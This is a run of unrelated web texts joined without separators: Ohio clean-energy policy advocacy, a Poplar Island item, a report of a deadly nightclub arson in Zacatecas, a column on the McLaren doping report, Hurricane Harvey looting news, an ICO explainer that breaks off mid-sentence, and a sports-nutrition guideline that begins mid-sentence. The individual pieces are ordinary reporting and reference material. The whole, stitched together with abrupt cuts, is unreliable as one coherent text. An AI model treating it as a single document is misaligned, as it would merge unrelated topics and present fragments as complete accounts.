Thankfully, these efforts appear to have stalled for the time being, despite some attempts to rebrand them as “national security” efforts and necessary for maintaining Ohio’s economic viability. The fact that these bills failed to move at a time of sustained pressure on lawmakers, and assurances from bill sponsors early in the year that passage was essentially a “done deal,” demonstrate just how transparent a fleecing of consumers these bailouts are.
Wind Setback Fix
This last year also saw multiple efforts to undo an anti-business bill from 2014 that nearly tripled the setback distance for wind turbines from property lines, effectively zoning out commercial-scale development in Ohio.
2017 marked a glimmer of hope to press reset on those ill-advised setbacks. After several fits and starts in prior years, three separate bills were introduced this year to right the ship on wind development, culminating most recently in December with Senator Matt Dolan's (R) Senate Bill 238. It would ease restrictions while taking advantage of existing authority in the Ohio tax code for local county governments to negotiate property taxes and jump-start stalled development projects.
One thing is for sure, these policy fixes need to happen now if Ohio hopes to attract corporate investors who are increasingly focusing on state clean energy laws when deciding where to funnel their dollars in today’s highly competitive environment.
Clean Energy Standards and Economy
Last but not least is Ohio’s broader renewable energy and energy efficiency policy, which was reinstated on January 1, 2017 following Kasich’s veto. With those requirements back in place, Ohio’s energy efficiency programs—which have saved consumers over $1B to date—and the state’s renewable energy law continue to push the state’s energy landscape forward.
Earlier this year, Environmental Entrepreneurs (E2) reported that Ohio is home to more than 100,000 clean energy jobs, many in energy efficiency. Ohio is also second in the Midwest for renewable energy jobs. Examples of that leadership are in evidence all across the state, as utilities and third party companies embark on solar and wind projects to satisfy increasing customer interest in meeting energy demand from clean sources—from the Vinton, Hardin and Brown County solar developments, to General Motors’ announcement to power four of its Ohio plants with 100% clean energy by the end of 2018, to the LEEDCo offshore wind project proposed for Lake Erie.
But it is clear that more needs to be done to ensure Ohio catches the wave of clean energy development sweeping across neighboring states. It doesn’t help corporate investor confidence that Ohio’s legislature has devoted the better part of four years to various attempts to water down, freeze, or make voluntary the state’s energy efficiency and renewable energy standards. And this last Spring, the Ohio House passed yet another bill (HB 114) to upend Ohio’s recently-reinstated clean energy standards, which the Senate may take up (reportedly with more clean energy-favorable provisions) in early 2018.
All of this is context for the E2 jobs report finding that, while Ohio has a leadership role in the region on renewables, the state has seen slower growth in this area than several of its neighbors. So, imagine what Ohio could accomplish if we only righted the ship.
The Road Ahead
Governor Kasich saw the state’s opportunity barely a year ago when he wielded his veto pen. He recognized that moving Ohio backward on clean energy would undermine the state’s progress, particularly the “very options most prized by companies poised to create many jobs in Ohio in the coming years.”
He also saw the opportunities for the Ohio workforce, and the damage that could be done by turning away from the realities of where the energy sector is moving: “Ohio workers cannot afford to take a step backward from the economic gains that we have made in recent years... and arbitrarily limiting Ohio’s energy generation options amounts to self-inflicted damage to both our state’s near- and long-term economic competitiveness.”
Imagine if Governor Kasich’s vision of last year was made a reality. That is the direction Ohio needs to take a year after his historic veto, a vision that we intend to pursue in 2018 and beyond.The Army has been creating an island since 1998 on the Northeast coast of the United States. Slowly, the US Army Corps of Engineers built dikes to establish its perimeter. They spent more than a decade filling them with mud.
Its name: Poplar island. It seems like a perfect place for a mystery movie with secret labs and mutants.
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The images for this time-lapse were taken by a Landsat satellite, which is managed by NASA and the U.S. Geological Survey. They show how the Army started to build the dikes in 1998. The dikes have a sand core covered with stone and armor stone.
Fortunately, no weird stuff is going on there (that we know of, anyway). Poplar Island, which is being rebuilt in the middle of the Chesapeake Bay, is 30 miles south of Baltimore Harbor, where all the mud is coming from. Right now, the island is a wildlife sanctuary, home of 170 species of birds "including terns and bald eagles" as well as hundreds of diamondback terrapins. [US Army and Flickr]By: Verónica Espinosa | Translated by Valor for Borderland Beat
Zacatecas, Zacatecas— On Wednesday night, an armed group opened fire at employees and clients of a nightclub in the municipality of Guadalupe, who then locked down the establishment and set it on fire.
According to local media reports, there were at least two people dead in the fire. An official statement from the state government reported a total of four dead and six wounded at around 23:00 hours on Wednesday.
In its digital website, the newspaper, La Jornada, reported that there were nine fatalities in this attack as a result of the fire and the shooting, while another 15 suffered injuries and burns of different degrees with some of them being serious.
The commando entered the nightclub “El Botanero” around 9:00 pm on Wednesday night when there were many customers inside.
According to witnesses who managed to escape, four men with rifles fired at the ceiling, intimidating those who were in the club.
Customers and employees witnessed how the group began dousing gasoline inside the nightclub, and later set it on fire. The armed group left and closed the doors, preventing people from leaving.
Staff from the Civil Protection came to the rescue and managed to get a number of people who were trapped outside by opening a hole in the wall of the building.
At midnight, forces and emergency relief agencies were on site still extinguishing the fire and treating those injured.
The state government stated in a statement released around midnight that officials like Attorney General Leticia Soto Acosta were at the location, leading an investigation and to care for those wounded.
The nightclub “El Botanero” had had incidents related to drug dealing
The armed group was after one person, who was among the deceasedTwo reporters from Russian television were standing in the mezzanine of a downtown Toronto hotel, having just listened to the staggering allegations of yet another report into the anti-doping practices in Russian sport. They were trying to distill the charges reported by Richard McLaren, the Canadian law professor who conducted a two-month investigation at the behest of the World Anti-Doping Agency.
[np_storybar title=”Read Richard McLaren’s full report” link=”#1″][/np_storybar]
“The main message is, ‘Russia is bad, let’s ban Russia’,” one reporter, exasperated, said to the other.
Pretty much, yeah.
To be clear, McLaren didn’t say anything about banning Russia from the Rio Olympics, or any other sporting contest. It wasn’t part of his mandate, he said. But he did describe the many ways in which Russian sport has been, well, bad.
McLaren’s team said it built on previous reports and allegations, and conducted its own investigations to conclude that the main Moscow drug lab, which existed in theory as a key element of ensuring Russian athletes were clean, had since 2011 operated as the opposite, as a site where positive drug tests were simply erased from the system — the “disappearing positive methodology,” as McLaren termed it — and replaced with negative results.
He said this system was overseen by the Ministry of Sport, with initial positive results at the Moscow lab sent all the way up the chain to the deputy minister, who would decide whether the results were to be reversed, based on the athlete’s specific profile. The best athletes, the medal contenders, were more likely to be protected.
This procedure, the report alleges, was the “failsafe” in a system that also included a wild program of “sample swapping” at the drug lab in Sochi, where agents of the FSB, the successor to the KGB, took part in smuggling dirty samples out of the lab, somehow removing the caps on the tamper-proof sample bottles, and replacing the contents with clean urine that was then smuggled back into the lab. The report describes what it calls a “mouse hole” — literally a little hole drilled in the wall — that the bottles passed through, and one could be forgiven for wondering if the various allegations are just a little too ridiculous to be true. FSB agents worked undercover in the drug lab — one was a “sewage and plumbing employee” in the lab, McLaren said, which is a hell of a cover for someone who is manipulating the results of pee tests — and they passed bottles through a secret mouse hole? You have to admit it has a bit of a Boris and Natasha vibe.
McLaren, though, said repeatedly on Monday morning that the conclusions of his report were accurate, despite the compressed timeline for its production. (He was appointed in May, after allegations of the hijinks at the Sochi lab were reported by The New York Times and 60 Minutes.) He said he was “supremely confident” in the report and also “unwaveringly confident” in it. Though much of the basis for it was the testimony of Grigory Rodchenkov, the former director of the Moscow and Sochi labs who was the primary source for the New York Times stories, McLaren said there were other witnesses, some of whom remain confidential, and that his team was able to corroborate elements of Rodchenkov’s allegations. The Russian doctor had said, for example, that the FSB had figured out a way to crack the tamper-proof bottles, and McLaren’s team studied sample bottles and found evidence, he said, of tampering: tiny scratches and marks around the lids that were only evident upon close examination.
“We don’t know how the Russians did it, but we know that they did it,” McLaren said.
The glaring absence from Monday’s presentation was any attempt to identify specific athletes whose samples might have been tampered with, as McLaren said they simply did not have time to do such a thorough accounting. But if the broader allegations are true, that the doping regime was covered up at the highest levels of the sports ministry, that it was, in McLaren’s words, “an intertwined network of state involvement,” then it’s hard to have confidence that any Russian athlete is clean. There were early reports that countries including Canada and the United States would ask the International Olympic Committee to ban all Russian athletes from competing at Rio, and while McLaren refused to comment on such a move, he did say the cover-up “covers the vast majority of sports.”
What the IOC will do with all this is another question. There’s no doubt that, in a world that usually deals with very specific results of very specific tests, where samples are controlled and tested and re-tested before punishment is levied, these are uncomfortably broad charges, in an extra-legal proceeding, where a lot of the evidence is circumstantial.
WADA, upon receiving McLaren’s report, called for Russia to be banned from Rio, full stop. And the IOC seemed to indicate it was not in the compromising mood, with president Thomas Bach issuing a statement that said the findings showed “a shocking an unprecedented attack on the integrity of sport.” He also the IOC wouldn’t hesitate to implement the “toughest sanctions available.”
The Russians have said that Rodchenkov is a fabulist who fled their country and that he can’t be trusted. They ask why McLaren didn’t seek Russian co-operation in this investigation. (Having sought their help in his last work for WADA on this subject and been rebuffed, he said, he didn’t try again. “We found that process singularly unhelpful,” he said of his previous efforts to get Russians to take part in the probe.)
And, to judge just by the response of the Russian media in Toronto on Monday, the country remains skeptical of this whole enterprise, which they think is steeped in old Cold War tensions. They think their athletes are being unfairly targeted.
The IOC will have to decide which side it believes.
It’s expected to do so as early as Tuesday.
THE McLAREN REPORT EXPLAINED: WHAT YOU NEED TO KNOW
What is it?
A 97-page report produced by a team headed by Richard McLaren, a law professor at Western University in London, Ont., and expert in international sports law.
Where did it come from?
The World Anti-Doping Agency appointed McLaren after The New York Times and 60 Minutes in May published allegations from the long-time director of two Russian drug labs that said his country ran a state-sponsored athletic doping program created after Russia’s poor performance at the Vancouver 2010 Games. McLaren was also part of the WADA committee that previously investigated allegations about Russian doping aired in a German television documentary and which led to the ban of Russian track and field athletes from international competition. An appeal of that decision is pending.
What are the key findings?
• That the Moscow drug laboratory would routinely change positive test results to negative simply by erasing the accurate finding and replacing it with a false result.
• That the Sochi laboratory, because international staff were present, created a more elaborate system in which urine samples were smuggled out of the controlled lab area using a “mouse hole” that was drilled into the wall of an adjacent office. Those samples were then opened, and “dirty” urine was replaced with clean.
• That both operations were ultimately overseen by the Ministry of Sport, with assistance of the FSB, the federal security service, and other sports officials. The report says the scheme was directed by the ministry, as opposed to being the work of a rogue lab.
What athletes were involved?
The report does not name anyone, though it says medal winners were definitely involved and that “the vast majority” of sports were covered. One chart of samples that had results altered in the Moscow drug lab included sports from track to hockey to curling to table tennis.
What evidence was compiled?
The report says it relied on witness interviews, plus thousands of pages of email and other documentation, including deleted-but-recovered files. In most cases, the report summarizes the evidence rather than provide it in detail. For example, regarding the system where positive samples were changed to negative in the Moscow drug lab’s computers, the report says the investigative team “can demonstrate the existence of this system beyond a reasonable doubt.”
What kind of drugs were part of the program?
The report says the Russian doctor who is the chief source of the allegations developed a three-drug steroid cocktail that was dissolved in alcohol — scotch for men, martinis for women — and swished in the mouth, then spat out. This technique still allowed the steroids to be absorbed, but reduced the window over which they would be detected.The volunteer rescue organization Louisiana Cajun Navy said shots were fired at its boats during an attempted rescue in Houston.
In an initial post on its Facebook page, the group said that looters had tried to steal their boats.
Clyde and the other team members and teams are all safe. Looters decided to pose as people needing rescue and they attempted to overtake the boats and there were shots fired at the boats. I repeat they are all safe. Looters must have not wanted our boats in the water for rescues. Please feel free to share this post. We are currently on stand down pending a new strategic plan.
The ‘Cajun Navy’ has stood down after looters attempted to commander their boats and fired weapons at said boats. No injuries. #hounews pic.twitter.com/9E9GRcHOOa — Texas Storm Chasers (@TxStormChasers) August 28, 2017
The original Facebook post was deleted, but a volunteer with the group posted a video on the group’s Facebook page saying he had heard reports that shots were fired at one of the boats.
“Just wanted to come on here and clear up the CNN short interview they did with us over there when we told them that shots had been fired at one of our boats,” the man said in a Facebook Live video. “Not exactly sure which boat it was or who it was or what group it was. It came over Zello [a push-to-talk walkie talkie service], and it was looters. They’re out there, they’re not wanting our boats around them, because of course, they’re looting.”
“No one got injured. I didn’t get shot,” the man continued. “I’m not sure if they actually shot at it or up in the air, but shots were fired.”
Louisiana Cajun Navy’s Clyde Cain told CNN that people had tried to steal a disabled boat as a one of his crews sought shelter from the rain.
Cain told HLN that the people who tried to steal the boat were “panicking.”
“We have boats being shot at if we’re not picking everybody up. We’re having to pull out for a minute,” Cain said. “We’re dropping an airboat right now to go rescue a couple of our boats that broke, and they’re kind of under attack,” he said.
Police in Houston battled looters throughout the city on Monday leading to dozens of arrests, Houston Police Chief Art Acevedo told ABC 13.
“We’ve already arrested a handful of looters. We’ve made it real clear to our community we’re going to do whatever it takes to protect their homes and their businesses,” Acevedo said.
The Cajun Navy has already made a significant impact in the rescue operations in Houston as it “pulled a lifeless elderly woman from floodwaters and resuscitated her,” The Times-Picayune reported.
Currently, Hurricane Harvey has claimed eight lives and thousands are displaced and seeking refuge.
This story has been updated.Initial Coin Offerings
The public can acquire tokens either through mining, by purchasing in secondary markets (i.e. through peer-to-peer transactions or in exchanges), or by participating in an Initial Coin Offering (i.e. purchasing directly from token creators). Initial Coin Offerings (ICOs) are similar to Initial Public Offerings (IPOs) where investors are buying cryptocurrencies instead of shares. There are some notable differences between the two:
Shares give shareholders equity in a company, while cryptocurrencies do not give coin holders any equity.
Shares give shareholders rights, while cryptocurrencies do not give holders any rights (with a few rare exceptions).
Shares are regulated as securities, while coins are not (although this is changing, see for example recent US developments here).
Cryptocurrencies are usually paid for with other cryptocurrencies, which facilitates participation of international users.
One can think of ICOs as democratized venture capital, or venture capital meets crowdfunding. ICOs give blockchain enthusiasts direct and easy access to investing in blockchain start-ups. ICOs enable blockchain start-ups to raise early stage capital bypassing venture capital firms, without even diluting equity ownership. And ICOs can also be great for venture capital firms willing to give up the equity ownership associated with traditional financing in exchange for a highly liquid investment (typical venture capital investments are illiquid and may take many years for investors to cash out).
The major downside of ICOs is the lack of regulatory oversight, which allows those raising funds to offer minimal disclosures for investors, “exaggerate benefits, fail to identify risks, and create unsubstantiated hype”. Fund raisers may even be anonymous, such as is the case with the extremely popular Bitconnect (BCC, market cap USD 910 million — note by definition market cap is not the number listed by coinmarketcap.com, computed using Circulating Supply, but rather the often considerably larger number resulting from multiplying Price by Total Supply).
For further reading about ICOs I recommend this article covering the lack of ICO disclosure regulations.
ICOs & Non-Native Tokens
While Ethereum has made it easy for developers to create digital tokens, ICOs have made it easy for investors to access those digital tokens. The lax regulatory framework coupled with the ease of matching entrepreneurs with eager investors has resulted in a massive ICO boom. It is in the ICOs of non-native tokens that investors’ irrational exuberance becomes apparent.
Uninformed or informed, unsophisticated or sophisticated …. investors of all kinds are participating in ICOs and throwing hundreds of millions at often worthless tokens that offer the investor little beyond possible gains from selling tokens later at a higher price.
Picture Pether Block (pun intended), a sharp entrepreneur seeking to raise funds. Imagine Pether raises funds not by issuing equity (stocks) or legal promises to pay funds back (loans, bonds), but instead by giving out pretty bits of paper with no legal backing saying he plans to pay back. Now imagine Pether actually gets funding by giving out pretty bits of paper that do not even promise to pay back. Furthermore, imagine a case where Pether is actually anonymous, he did not even have to disclose his identity to raise funds. This is happening in some ICOs. Ponzi schemes abound. OneCoin is the most famous uncovered Ponzi scheme. Bitconnect, a cryptocurrency that offers guaranteed 149% annualized returns (assuming daily reinvestment) plus variable returns generated by a “volatility trading bot”, is in my humble opinion the most striking Ponzi scheme of present times.
Think about it…
Buy a share, and get legal ownership of a company.
Buy a bond, and obtain the right to receive interest payments.
Buy bitcoin, and receive a liquid asset that derives its value from the computing power dedicated to creating such piece of mathematical art.
Buy ether, and receive a liquid asset that derives its value from both the computing power dedicated to creating it, as well as its value as means of payment for using the Ethereum supercomputer.
Buy any native token, and receive a cryptocurrency providing economic incentives for a blockchain to function.
Buy a non-native token … and what do you receive?
There are eight categories of Non-Native Tokens:
Protocol tokens. (e.g. Augur: REP, market cap USD 200 million). Tokens issued for accessing the platform/services of the issuing company; future services, to be precise, as in most cases tokens are issued when the platform is no more than an idea. Think of them as utility tokens or Gift Cards. (e.g. Factom: FCT, market cap USD 160 million). Asset-backed tokens, where the blockchain asset represents a claim on an underlying asset, and to claim the underlying one sends the blockchain asset (i.e. the token) to the issuer. (e.g. Tether’s USD: USDT). Token issued under the promise of participation in future revenues, even though there typically is no legal obligation for companies to honor such promises. Participation percentages and timing are almost always left undefined. (e.g. DigixDAO: DGD, market cap USD 150 million). Tokens said to represent equity in the issuing company, giving token holders votes as shareholders, participation in future dividends, and supposedly ownership of the company as well. (e.g. Lykke: LKK, market cap USD 410 million). Tokens issued under the promise of appreciation backed by promises from the company to repurchase and destroy tokens once sustainable revenue materializes. (e.g. Populous: PPT, market cap USD 150 million). Tokens issued with no value proposition whatsoever. Think of them as toy casino tokens. (e.g. Steemit: STEEM, market cap USD 290 million). Potential scams (e.g. Veritaseum: VERI, market cap USD |
should also consume protein at or slightly above 1.2-1.4 g·kg−1·d−1 (32). Energy balance, or the consumption of adequate calories, particularly carbohydrates, to meet those expended, is important to protein metabolism so that amino acids are spared for protein synthesis and not oxidized to assist in meeting energy needs (33,34). In addition, discussion continues as to whether sex differences in protein-related metabolic responses to exercise exist (35,36).
Strength athletes.
Resistance exercise may necessitate protein intake in excess of the RDA, as well as that needed for endurance exercise, because additional protein, essential amino acids in particular, is needed along with sufficient energy to support muscle growth (30,31). This is particularly true in the early phase of strength training when the most significant gains in muscle size occurs. The amount of protein needed to maintain muscle mass may be lower for individuals who routinely resistance train because of more efficient protein use (30,31). Recommended protein intakes for strength-trained athletes range from approximately 1.2 to 1.7 g·kg−1·d−1 (30,32).
Protein and amino acid supplements.
High-protein diets have been popular throughout history. Although earlier investigations in this area involved supplementation with individual amino acids (37,38), more recent work has shown that intact high-quality proteins such as whey, casein, or soy are effectively used for the maintenance, repair, and synthesis of skeletal muscle proteins in response to training (39). Protein or amino acids consumed near strength and endurance exercise can enhance maintenance of, and net gains in, skeletal muscle (39,40). Because protein or amino acid supplementation has not been shown to positively impact athletic performance (41,42), recommendations regarding protein supplementation are conservative and directed primarily at optimizing the training response to and the recovery period after exercise. From a practical perspective, it is important to conduct a thorough nutrition assessment specific to the athlete's goals before recommending protein powders and amino acid supplements to athletes.
Fat.
Fat is a necessary component of a normal diet, providing energy and essential elements of cell membranes and associated nutrients such as vitamins A, D, and E. The acceptable macronutrient distribution range (AMDR) for fat is 20%-35% of energy intake (17). The Dietary Guidelines for Americans (16) and Eating Well with Canada's Food Guide (28) make recommendations that the proportion of energy from fatty acids be 10% saturated, 10% polyunsaturated, 10% monounsaturated, and include sources of essential fatty acids. Athletes should follow these general recommendations. Careful evaluation of studies suggesting a positive effect of consuming diets for which fat provides ≥70% of energy intake on athletic performance (43,44) does not support this concept (45).
VITAMINS AND MINERALS
Micronutrients play an important role in energy production, hemoglobin synthesis, maintenance of bone health, adequate immune function, and protection of body against oxidative damage. They assist with synthesis and repair of muscle tissue during recovery from exercise and injury. Exercise stresses many of the metabolic pathways where micronutrients are required, and exercise training may result in muscle biochemical adaptations that increase micronutrient needs. Routine exercise may also increase the turnover and loss of these micronutrients from the body. As a result, greater intakes of micronutrients may be required to cover increased needs for building, repair, and maintenance of lean body mass in athletes (46).
The most common vitamins and minerals found to be of concern in athletes' diets are calcium and vitamin D, the B vitamins, iron, zinc, magnesium, as well as some antioxidants such as vitamins C and E, β-carotene, and selenium (46-50). Athletes at greatest risk for poor micronutrient status are those who restrict energy intake or have severe weight-loss practices, who eliminate one or more of the food groups from their diet, or who consume unbalanced and low micronutrient-dense diets. These athletes may benefit from a daily multivitamin-and-mineral supplement. Use of vitamin and mineral supplements does not improve performance in individuals consuming nutritionally adequate diets (46-48,50).
B Vitamins:Thiamin, Riboflavin, Niacin, Vitamin B 6, Pantothenic Acid, Biotin, Folate, Vitamin B 12
Adequate intake of B vitamins is important to ensure optimum energy production and the building and repair of muscle tissue (48,51). The B-complex vitamins have two major functions directly related to exercise. Thiamin, riboflavin, niacin, pyridoxine (B 6 ), pantothenic acid, and biotin are involved in energy production during exercise (46,51), whereas folate and vitamin B 12 are required for the production of red blood cells, for protein synthesis, and in tissue repair and maintenance including the CNS. Of the B vitamins, riboflavin, pyridoxine, folate, and vitamin B 12 are frequently low in female athletes' diets, especially those who are vegetarian or have disordered eating patterns (47,48).
Limited research has been conducted to examine whether exercise increases the need for the B-complex vitamins (46,48). Some data suggest that exercise may slightly increase the need for these vitamins as much as twice the current recommended amount (48); however, these increased needs can generally be met with higher energy intakes. Although short-term marginal deficiencies of B vitamins have not been observed to impact performance, severe deficiency of vitamin B 12, folate, or both may result in anemia and reduced endurance performance (46,47,52). Therefore, it is important that athletes consume adequate amounts of these micronutrients to support their efforts for optimal performance and health.
Vitamin D
Vitamin D is required for adequate calcium absorption, regulation of serum calcium and phosphorus levels, and promotion of bone health. Vitamin D also regulates the development and homeostasis of the nervous system and skeletal muscle (53-55). Athletes who live at northern latitudes or who train primarily indoors throughout the year, such as gymnasts and figure skaters, are at risk for poor vitamin D status, especially if they do not consume foods fortified with vitamin D (50,56,57). These athletes would benefit from supplementation with vitamin D at the DRI level (5 μg·d−1 or 200 IU for ages 19-49 yr) (54,56,58-61). A growing number of experts advocate that the RDA for vitamin D is not adequate (53,62,63).
Antioxidants: Vitamins C and E, β-Carotene, and Selenium
The antioxidant nutrients, vitamins C and E, β-carotene, and selenium, play important roles in protecting cell membranes from oxidative damage. Because exercise can increase oxygen consumption by 10- to 15-fold, it has been hypothesized that long-term exercise produces a constant "oxidative stress" on the muscles and other cells (49) leading to lipid peroxidation of membranes. Although short-term exercise may increase levels of lipid peroxide by-products (64), habitual exercise has been shown to result in an augmented antioxidant system and reduced lipid peroxidation (50,65). Thus, a well-trained athlete may have a more developed endogenous antioxidant system than a sedentary person. Whether exercise increases the need for antioxidant nutrients remains controversial. There is little evidence that antioxidant supplements enhance physical performance (49,50,64,66). Athletes at greatest risk for poor antioxidant intakes are those following a low-fat diet, restricting energy intakes, or limiting dietary intakes of fruits, vegetables, and whole grains (29,66).
The evidence that a combination of antioxidants or single antioxidants such as vitamin E may be helpful in reducing inflammation and muscle soreness during recovery from intense exercise remains unclear (42,67). Although the ergogenic potential of vitamin E concerning physical performance has not been clearly documented, endurance athletes may have a higher need for this vitamin. Indeed, vitamin E supplementation has been shown to reduce lipidperoxidation during aerobic/endurance exercise and have a limited effect with strength training (66). There is some evidence that vitamin E may attenuate exercise-induced DNA damage and enhance recovery in certain active individuals; however, more research is needed (66). Athletes should be advised not to exceed the tolerable upper intake levels (UL) for antioxidants because higher doses could be pro-oxidative with potential negative effects (46,64,68).
Vitamin C supplements do not seem to have an ergogenic effect if the diet provides adequate amounts of this nutrient. Because strenuous and prolonged exercise has been shown to increase the need for vitamin C, physical performance can be compromised with marginal vitamin C status or deficiency. Athletes who participate in habitual prolonged, strenuous exercise should consume 100-1000 mg of vitamin C daily (47,69,70).
Minerals: Calcium, Iron, Zinc, and Magnesium
The primary minerals low in the diets of athletes, especially female athletes, are calcium, iron, zinc, and magnesium (47). Low intakes of these minerals are often due to energy restriction or avoidance of animal products (70).
Calcium.
Calcium is especially important for growth, maintenance and repair of bone tissue, maintenance of blood calcium levels, regulation of muscle contraction, nerve conduction, and normal blood clotting. Inadequate dietary calcium and vitamin D increase the risk of low bone mineral density and stress fractures. Female athletes are at greatest risk for low bone mineral density if energy intakes are low, dairy products and other calcium-rich foods are inadequate or eliminated from the diet, and menstrual dysfunction is present (47,52,55,71-73).
Supplementation with calcium and vitamin D should be determined after nutrition assessment. Current recommendations for athletes with disordered eating, amenorrhea, and risk for early osteoporosis are 1500 mg of elemental calcium and 400-800 IU of vitamin D per day (50,72,73).
Iron.
Iron is required for the formation of oxygen-carrying proteins, hemoglobin and myoglobin, and for enzymes involved in energy production (50,74). Oxygen-carrying capacity is essential for endurance exercise as well as normal function of the nervous, behavioral, and immune systems (64,74). Iron depletion (low iron stores) is one of the most prevalent nutrient deficiencies observed among athletes, especially females (75). Iron deficiency, with or without anemia, can impair muscle function and limit work capacity (47,58,75,76). Iron requirements for endurance athletes, especially distance runners, are increased by approximately 70% (58,74). Athletes who are vegetarian or regular blood donors should aim for an iron intake greater than their respective RDA (i.e., >18 mg and >8 mg, for men and women respectively).
The high incidence of iron depletion among athletes is usually attributed to inadequate energy intake. Other factors that can impact iron status include vegetarian diets that have poor iron availability, periods of rapid growth, training at high altitudes, increased iron losses in sweat, feces, urine, menstrual blood, intravascular hemolysis, foot-strike hemolysis, regular blood donation, or injury (50,75,77). Athletes, especially women, long-distance runners, adolescents, and vegetarians should be screened periodically to assess and monitor iron status (75,77,78).
Because reversing iron deficiency anemia can require 3-6 months, it is advantageous to begin nutrition intervention before iron deficiency anemia develops (47,75). Although depleted iron stores (low serum ferritin) are more prevalent in female athletes, the incidence of iron deficiency anemia in athletes is similar to that of the nonathlete female population (50,75,77). Chronic iron deficiency, with or without anemia, that results from consistently poor iron intake can negatively impact health, physical, and mental performance and warrants prompt medical intervention and monitoring (76,78).
Some athletes may experience a transient decrease in serum ferritin and hemoglobin at the initiation of training due to hemodilution after an increase in plasma volume known as "dilutional" or "sports anemia" and may not respond to nutrition intervention. These changes seem to be a beneficial adaptation to aerobic training, which do not negatively impact performance (50).
In athletes who are iron-deficient, iron supplementation not only improves blood biochemical measures and iron status but also increases work capacity as evidenced by increasing oxygen uptake, reducing heart rate, and decreasing lactate concentration during exercise (47). There is some evidence that athletes who are iron-deficient but do not have anemia may benefit from iron supplementation (50,75). Recent findings provide additional support for improved performance (i.e., less skeletal muscle fatigue) when iron supplementation was prescribed as 100-mg ferrous sulfate for 4-6 wk (76). Improving work capacity and endurance, increasing oxygen uptake, reducing lactate concentrations, and reducing muscle fatigue are benefits of improved iron status (50).
Zinc.
Zinc plays a role in growth, building and repair of muscle tissue, energy production, and immune status. Diets low in animal protein, high in fiber and vegetarian diets, in particular, are associated with decreased zinc intake (50,52). Zinc status has been shown to directly affect thyroid hormone levels, BMR, and protein use, which in turn can negatively affect health and physical performance (50).
Survey data indicate that a large number of North Americans have zinc intakes below recommended levels (74,75,79). Athletes, particularly females, are also at risk for zinc deficiency (79). The impact of low zinc intakes on zinc status is difficult to measure because clear assessment criteria have not been established and plasma zinc concentrations may not reflect changes in whole-body zinc status (47,79). Decreases in cardiorespiratory function, muscle strength, and endurance have been noted with poor zinc status (47). The UL for zinc is 40 mg (74). Athletes should be cautioned against single-dose zinc supplements because they often exceed this amount, and unnecessary zinc supplementation may lead to low HDL cholesterol and nutrient imbalances by interfering with absorption of other nutrients such as iron and copper (47). Further, the benefits of zinc supplementation to physical performance have not been established.
Magnesium.
Magnesium plays a variety of roles in cellular metabolism (glycolysis, fat, and protein metabolism) and regulates membrane stability and neuromuscular, cardiovascular, immune, and hormonal functions (47,55). Magnesium deficiency impairs endurance performance by increasing oxygen requirements to complete submaximal exercise. Athletes in weight-class and body-conscious sports, such as wrestling, ballet, gymnastics, and tennis, have been reported to consume inadequate dietary magnesium. Athletes should be educated about good food sources of magnesium. In athletes with low magnesium status, supplementation might be beneficial (47).
Sodium, Chloride, and Potassium
Sodium is a critical electrolyte, particularly for athletes with high sweat losses (80-83). Many endurance athletes will require much more than the UL for sodium (2.3 g·d−1) and chloride (3.6 g·d−1). Sports drinks containing sodium (0.5-0.7 g·L−1) and potassium (0.8-2.0 g·L−1), as well as carbohydrate, are recommended for athletes especially in endurance events (>2 h) (50,80,82,83).
Potassium is important for fluid and electrolyte balance, nerve transmission, and active transport mechanisms. During intense exercise, plasma potassium concentrations tend to decline to a lesser degree than sodium. A diet rich in a variety of fresh vegetables, fruits, nuts/seeds, dairy foods, lean meats, and whole grains is usually considered adequate for maintaining normal potassium status among athletes (32,83).
HYDRATION
Being well hydrated is an important consideration for optimal exercise performance. Because dehydration increases the risk of potentially life-threatening heat injury such as heat stroke, athletes should strive for euhydration before, during, and after exercise. Dehydration (loss of >2% body weight) can compromise aerobic exercise performance, particularly in hot weather, and may impair mental/cognitive performance (83).
The American College of Sports Medicine's (ACSM) Position Stand on exercise and fluid replacement (83) provides a comprehensive review of the research and recommendations for maintaining hydration before, during, and after exercise. In addition, ACSM has published position stands specific to special environmental conditions (84,85). The major points from these position stands are the basis for the following recommendations.
Fluid and Electrolyte Recommendations
Before exercise
At least 4 h before exercise, individuals should drink approximately 5-7 mL·kg−1 body weight (∼2-3 mL·lb−1) of water or a sport beverage. This would allow enough time to optimize hydration status and for excretion of any excess fluid as urine. Hyperhydration with fluids that expand the extra- and intracellular spaces (e.g., water and glycerol solutions) will greatly increase the risk of having to void during competition (83) and provides no clear physiologic or performance advantage over euhydration. This practice should be discouraged (83).
During exercise
Athletes dissipate heat produced during physical activity by radiation, conduction, convection, and vaporization of water. In hot, dry environments, evaporation accounts for more than 80% of metabolic heat loss. Sweat rates for any given activity will vary according to ambient temperature, humidity, body weight, genetics, heat acclimatization state, and metabolic efficiency. Depending on the sport and condition, sweat rates can range from as little as 0.3 to as much as 2.4 L·h−1 (83). In addition to water, sweat also contains substantial but variable amounts of sodium. The average concentration of sodium in sweat approximates 50 mmol·L−1 or approximately 1 g·L−1 (although concentrations vary widely). There are modest amounts of potassium and small amounts of minerals such as magnesium and chloride lost in sweat.
The intent of drinking during exercise is to avert a water deficit in excess of 2% of body weight. The amount and rate of fluid replacement is dependent on the individual athlete's sweat rate, exercise duration, and opportunities to drink (83). Readers are referred to the ACSM position stand for specific recommendations related to body size, sweat rates, types of work, etc., and are encouraged to individualize hydration protocols when possible (83).
Consumption of beverages containing electrolytes and carbohydrates can help sustain fluid and electrolyte balance and endurance exercise performance (83). The type, intensity, and duration of exercise and environmental conditions will alter the need for fluids and electrolytes. Fluids containing sodium and potassium help replace sweat electrolyte losses, whereas sodium stimulates thirst and fluid retention and carbohydrates provides energy. Beverages containing 6%-8% carbohydrate are recommended for exercise events lasting longer than 1 h (83).
Fluid balance during exercise is not always possible because maximal sweat rates exceed maximal gastric emptying rates that in turn limit fluid absorption, and most often, rates of fluid ingestion by athletes during exercise fall short of amounts that can be emptied from the stomach and absorbed by the gut. Gastric emptying is maximized when the amount of fluid in the stomach is high and reduced with hypertonic fluids or when carbohydrate concentration is greater than 8%.
